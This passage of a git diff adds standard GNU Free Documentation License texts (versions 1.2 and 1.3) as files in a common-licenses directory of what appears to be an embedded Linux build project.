+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-or-later b/meta/files/common-licenses/GFDL-1.2-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-invariants-only b/meta/files/common-licenses/GFDL-1.3-invariants-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-invariants-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
